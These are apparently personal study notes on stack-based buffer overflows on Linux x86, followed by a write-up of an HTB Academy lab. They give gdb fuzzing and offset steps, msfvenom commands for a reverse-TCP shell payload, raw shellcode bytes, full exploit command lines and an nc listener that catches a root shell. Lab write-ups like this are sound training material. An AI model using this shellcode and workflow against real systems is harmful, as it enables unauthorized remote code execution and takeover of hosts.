Buy me a tea

Buffer Overflow - Stack based - Linux x86

Methodology

Take control of EIP

Fuzzing

  • We will use Gnu Debbugger gdb -q prog-name

  • We set gdb to use intel (gdb) set disassembly-flavor intel

  • We can fuzz by printing the same char 1200 times run $(python -c "print '\x55' * 1200") info registers

Determining offset

  • Metasploit on kali /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200

  • We put the pattern in gdb (gdb) run $(python -c "print 'STRING-OF-PATTERN'") info registers eip

  • We get a new memory address

  • We use msf pattern to get the offset /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569 run $(python -c "print '\x55' * OFFSET-VALUE + '\x66' * 4")

  • Example: run $(python -c "print '\x55' * 1036 + '\x66' * 4") We should see that EIP has been rewritten with \x66

Determine length of shellcode

  • Generate shellcode with metasploit: msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP lport=31337 --platform linux --arch x86 --format c

  • With this we will get the Payload size

    1. We need a total of 1040 bytes to get to the EIP.

    2. Here, we can use an additional 100 bytes of NOPs

    3. 150 bytes for our shellcode. Example:

    Buffer = "\x55" * (1040 - 100 - 150 - 4) = 786
    NOPs = "\x90" * 100
Shellcode = "\x44" * 150
     EIP = "\x66" * 4'

    run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')

Identification of bad chars

  • List of bad chars: \x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

  • This list is 256 bytes long

  • On GDB: disassemble main

  • We set a break point to the vuln function break funcname

  • We can now try our list of chars: (gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "STRING-OF-BAD-CHARS" + "\x66" * 4')

  • We look at the stack: x/2000xb $esp+500

  • We can see where our \x55 started and at the end of all the \x55 we have our bad chars We can see if a char is missing or if there is something strange so we move the char and try again we have to calc our buffer again 1 char is 1 byte so we can remove 1 byte from 256

  • Example bad chars: \x00 \x09 \x0a \x20

Generating shellcode

msfvenom -p linux/x86/shell_reverse_tcp lhost=<LHOST> lport=<LPORT> --format c --arch x86 --platform linux --bad-chars "<chars>" --out <filename>

  • We have to adjust the shellcode to be only one string

    Becomes: "\xb8\x34\x84\x16\xa2\xdd\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xc3\x04\x31\x43\x0e\x03\x77\x8a\xf4\x57\x46\x49\x0f\x74\xfb\x2e\xa3\x11\xf9\x39\xa2\x56\x9b\xf4\xa5\x04\x3a\xb7\x99\xe7\x3c\xfe\x9c\x0e\x54\x7e\x5f\xf1\xa5\xe8\x5d\xf1\xdf\x81\xe8\x10\xaf\x34\xbb\x83\x9c\x0b\x38\xad\xc3\xa1\xbf\xff\x6b\x54\xef\x8c\x03\xc0\xc0\x5d\xb1\x79\x96\x41\x67\x29\x21\x64\x37\xc6\xfc\xe7" Metasploit mentionned that the payload was 95 bytes

    We can now run on gdb: run $(python -c 'print "\x55" * (1040 - 124 - 95 - 4) + "\x90" * 124 + "\xb8\x34\x84\x16\xa2\xdd\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\x83\xc3\x04\x31\x43\x0e\x03\x77\x8a\xf4\x57\x46\x49\x0f\x74\xfb\x2e\xa3\x11\xf9\x39\xa2\x56\x9b\xf4\xa5\x04\x3a\xb7\x99\xe7\x3c\xfe\x9c\x0e\x54\x7e\x5f\xf1\xa5\xe8\x5d\xf1\xdf\x81\xe8\x10\xaf\x34\xbb\x83\x9c\x0b\x38\xad\xc3\xa1\xbf\xff\x6b\x54\xef\x8c\x03\xc0\xc0\x5d\xb1\x79\x96\x41\x67\x29\x21\x64\x37\xc6\xfc\xe7" + "\x66" * 4') Check if first byte of our shellcode match the bytes after NOPS with x/2000xb $esp+550 We see that after a few nops (x90) we see the first chars of our shellcode.

Identify a return address

  • 0xffffd734

    Our exploit: "\xda\xc2\xd9\x74\x24\xf4\x5b\x33\xc9\xb1\x12\xb8\x88\x5e\xb1\xe2\x83\xc3\x04\x31\x43\x13\x03\xcb\x4d\x53\x17\xfa\xaa\x64\x3b\xaf\x0f\xd8\xd6\x4d\x19\x3f\x96\x37\xd4\x40\x44\xee\x56\x7f\xa6\x90\xde\xf9\xc1\xf8\xea\xf3\x3f\xb1\x82\x01\x40\x3b\x3a\x8f\xa1\x0b\xda\xdf\x70\x38\x90\xe3\xfb\x5f\x1b\x63\xa9\xf7\xca\x4b\x3d\x6f\x7b\xbb\xee\x0d\x12\x4a\x13\x83\xb7\xc5\x35\x93\x33\x1b\x35”

Write up - Skills Assesment on HTB Academy - STACK-BASED BUFFER OVERFLOWS ON LINUX X86

Fuzzing

  • We have a segfault starting at 2100

Determine offset

  • Let's use a pattern:

  • We generate it on kali:

We can send it on gdb:

  • GDB print this:

  • Check out EIP

  • In kali we can use pattern_offset /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336

  • Our offset is 2060

  • To answer the question Submit the size of the stack space after overwriting the EIP as the answer. (Format: 0x00000)

  • We need to do a info proc all in gdb and we get this info proc all

Determine length of shellcode

  • We check the size of shellcode with msfvenom: msfvenom -p linux/x86/shell_reverse_tcp LHOST=IP lport=31337 --platform linux --arch x86 --format c Payload size

  • Our payload should be 68 bytes

  • To reach eip we need the offset size + 4bytes => 2060+4=2064 bytes

  • We can then add 100 bytes of NOPs

  • We can count 150 of shellcode in case we need a bigger shellcode.

  • We can then try this:

  • We still rewrite EIP eip

Identification of bad chars

  • We are going to look for bad chars with the 256 bytes list:

  • We need to send BUFFER+CHARS+EIP

  • We can put a break on the vulnerable function leavemsg (we can see this with disassemble main) breakpoint

  • We can find our badchars: x/2000xb $esp+500

  • We can add 0x00 in our bad chars list

  • We remove it from the list and substract 1 byte so our code looks like this: run $(python -c 'print "\x55" * (2064 - 255 - 4) + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" + "\x66" * 4')

  • We then find 0x09

  • We remove it from the list and substract 1 byte so our code looks like this:

  • We then have 0x0a, we remove it from the list and substract again 1 byte

  • And the same again with 0x20

  • Our bad chars are now \x00\x09\x0a\x20

Generate shell code

  • We copy our shellcode and format it in one string so that this:

    Becomes this:

  • Our payload is 95 bytes as mentioned by msfvenom

  • After our NOPs we have our shellcode: NOPS and shellcode

Identify a return adr

  • We can take and address before the end of nops but in the nops so that our eip can jump there 0xffffd730

  • We are now ready for the final exploit

  • We launch a listener nc -lvp 31337

  • We send our payload

  • We get a shell and can read the root flag located here: /root/flag.txt

Tools

LogoGDB: The GNU Project Debuggerwww.sourceware.org
GNU Debugger

Resources

LogoBest Online Cybersecurity Courses & Certifications | HTB Academyacademy.hackthebox.com
Hackthebox Academy
PreviousBuffer Overflow - Stack based - Winx86NextOSINT

Last updated